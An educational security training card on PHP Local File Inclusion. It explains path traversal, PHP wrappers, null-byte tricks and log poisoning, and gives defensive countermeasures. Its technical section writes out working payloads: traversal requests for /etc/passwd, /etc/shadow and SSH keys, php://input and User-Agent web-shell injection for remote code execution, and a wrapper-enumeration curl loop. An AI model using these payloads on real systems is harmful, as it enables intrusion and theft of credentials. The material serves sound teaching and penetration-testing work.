LFI
Theory
Why This Matters
Local File Inclusion (LFI) is a PHP-era vulnerability that remains highly prevalent in legacy applications, WordPress plugins, and any web framework that uses user-controlled paths to include or read files. LFI is notable because its impact range spans from simple information disclosure (reading /etc/passwd) to full remote code execution via log poisoning. CVE-2021-41773 (Apache HTTP Server path traversal, subsequently upgraded to RCE) and numerous CMS plugin CVEs demonstrate that file inclusion vulnerabilities persist in modern codebases. LFI also serves as a component in multi-stage attack chains, frequently combined with file upload or log poisoning to achieve RCE.
Core Concept
Local File Inclusion occurs when a PHP (or equivalent) application uses a user-controlled value as the path argument to include(), require(), include_once(), or require_once(). The PHP interpreter executes the included file as PHP code rather than treating it as static data. This violates the invariant that file paths used in application code must be developer-controlled constants, not user-supplied variables.
The attacker precondition is: (1) an application passes user input directly or with minimal filtering to a file-inclusion function; (2) the attacker can influence which file is included via path traversal or direct path specification.
Path traversal (../) exploits the fact that the operating system resolves .. as "parent directory." By prepending enough ../ sequences to navigate from the application's web root to the filesystem root, an attacker can reach any readable file: ../../../../etc/passwd.
PHP wrappers extend LFI impact significantly:
- php://filter/convert.base64-encode/resource=index.php — reads the PHP source of the target file encoded as base64, bypassing execution and revealing source code.
- php://input — reads the raw POST body and executes it as PHP; enables RCE by sending PHP code in the POST body (requires allow_url_include=On).
- data://text/plain;base64,<base64_php_code> — embeds PHP code in the URL itself (requires allow_url_include=On).
Log poisoning is the classic LFI-to-RCE chain: (1) inject PHP code into a log file by sending it in an HTTP header (typically User-Agent: <?php system($_GET['cmd']); ?>); (2) include the log file via LFI to execute the injected code.
Null byte injection (%00) was effective against PHP < 5.3.4 to terminate file extension appending: if the application appends .php to the user-supplied path, ../../../etc/passwd%00 truncates the string at the null byte.
Technical Deep-Dive
# Basic LFI — Linux target
# Application: GET /page?file=home.php
# Vulnerable PHP: include($_GET['file']);
# Path traversal to /etc/passwd:
GET /page?file=../../../etc/passwd
GET /page?file=....//....//....//etc/passwd # double-dot encoding bypass
GET /page?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd # URL encoded
# Null byte (PHP < 5.3.4) — bypass extension appending (.php suffix):
# If PHP does: include($_GET['file'] . '.php')
GET /page?file=../../../etc/passwd%00
# High-value Linux target files:
# /etc/passwd — username enumeration
# /etc/shadow — password hashes (requires root read)
# /etc/hosts — internal network map
# /proc/self/environ — process environment variables (may contain secrets)
# /proc/self/cmdline — running command line
# /var/log/apache2/access.log — log poisoning target
# /var/log/nginx/access.log
# ~/.ssh/id_rsa — SSH private keys
# Windows LFI targets:
# C:Windowswin.ini
# C:WindowsSystem32driversetchosts
# C:inetpublogsLogFilesW3SVC1*.log — IIS log for log poisoning
# PHP wrapper: read source code of index.php
GET /page?file=php://filter/convert.base64-encode/resource=index.php
# Response body contains base64-encoded PHP source
# Decode: echo "<base64>" | base64 -d > index.php
# php://input for RCE (requires allow_url_include=On):
curl -X POST 'https://target.example.com/page?file=php://input'
-d '<?php system($_GET["cmd"]); ?>'
'https://target.example.com/page?file=php://input&cmd=id'
# Log poisoning chain:
# Step 1: Inject PHP into User-Agent header (sent to Apache/Nginx):
curl -H 'User-Agent: <?php system($_GET["cmd"]); ?>'
https://target.example.com/
# Step 2: Include the access log via LFI with a command parameter:
GET /page?file=/var/log/apache2/access.log&cmd=id
# The PHP interpreter executes the injected User-Agent code
# Response includes: uid=33(www-data) gid=33(www-data)
# Automated LFI testing with LFISuite / Kadimus
# LFISuite:
python lfi_suite.py
# → set target URL, parameter, and test mode (traversal/wrappers/log poisoning)
# Manual wrapper enumeration:
for wrapper in 'php://filter/convert.base64-encode/resource=../../../etc/passwd'
'php://filter/read=string.toupper/resource=../../../etc/passwd'
'zip://uploads/archive.zip%23shell.php'
'phar://uploads/image.jpg/shell.php'; do
curl -s "https://target.example.com/page?file=${wrapper}"
done
Security Assessment Methodology
- Identify file-inclusion parameters — Look for GET/POST parameters named
file,page,template,include,path,dir,module. These conventionally map to file inclusion functions. - Test basic path traversal — Submit
../../../etc/passwdand URL-encoded variants (%2e%2e%2f). A response containing/etc/passwdcontent confirms LFI. - Test PHP wrappers — Submit
php://filter/convert.base64-encode/resource=index.phpto read source code. Decode and review for further vulnerabilities. - Test null byte termination — If path traversal fails and extension appending is suspected, append
%00to the traversal path. Effective only on PHP < 5.3.4. - Attempt log poisoning — Identify the web server (Apache vs Nginx vs IIS) from response headers, determine the log path, inject PHP via User-Agent, then include the log file.
- Test php://input and data:// wrappers — If
allow_url_includemay be enabled (older PHP configurations), test these wrappers for RCE. - Document which wrappers and paths succeed — Report the files read (content hash, not content), wrapper types confirmed, and whether RCE escalation is feasible.
Defensive Countermeasure — Never pass user-supplied values to PHP include/require functions. Implement a strict whitelist map:
$allowed = ['home' => 'home.php', 'about' => 'about.php']; include($allowed[$_GET['page']] ?? '404.php');. If dynamic path construction is required, resolve the realpath of the result and verify it starts with the expected base directory (strpos(realpath($path), $base_dir) === 0). Disableallow_url_includeandallow_url_fopeninphp.ini. Setopen_basedirto restrict PHP file access to the application directory.
Common Assessment Errors
- Only testing Linux paths — Windows LFI targets (win.ini, hosts, IIS logs) are often omitted. Always adapt path traversal targets to the server OS.
- Not testing URL and double-URL encoding — Simple WAF rules block literal
../. Encode the traversal sequence one or two levels and test each. - Missing PHP wrappers — Path traversal to /etc/passwd is often the only test performed. PHP wrappers represent a substantially higher-impact attack surface that is frequently missed.
- Not attempting log poisoning — When LFI is confirmed but no sensitive files are found, testers often stop. Log poisoning to RCE is a standard next step that must be tested and reported.
- Assuming null byte is always needed — Null byte injection is only relevant for PHP < 5.3.4. Testing it against modern PHP wastes time. Check the PHP version first.
- Forgetting /proc filesystem —
/proc/self/environand/proc/self/fd/N(open file descriptors, which may include log files) are valuable LFI targets that are frequently overlooked.
NICE Framework Alignment
| Code | Knowledge/Skill/Task Statement | How This Card Develops It |
|---|---|---|
| K0009 | Knowledge of application vulnerabilities | Develops understanding of LFI mechanics including path traversal, PHP wrappers, and log poisoning |
| K0070 | Knowledge of system and application security threats and vulnerabilities | Covers LFI impact spectrum from info disclosure to RCE and defensive PHP configuration |
| S0001 | Skill in conducting vulnerability scans | Trains wrapper enumeration and log poisoning chain methodology |
| S0044 | Skill in mimicking threat behaviors | Builds adversarial skill in chaining LFI with log injection for RCE escalation |
| T0028 | Test system security controls | Covers php.ini configuration review and include path validation assessment |
| T0591 | Perform penetration testing | Provides complete LFI methodology from path traversal through RCE via log poisoning |
Further Reading
- Local File Inclusion — PortSwigger Web Security Academy
- OWASP Testing Guide v4.2: Testing for Local File Inclusion (OTG-INPVAL-011) — OWASP Foundation
- PHP Wrappers and LFI-to-RCE Techniques — HackTricks, Carlos Polop
Challenge Lab
Reinforce your learning with a hands-on generated challenge based on this card's competency.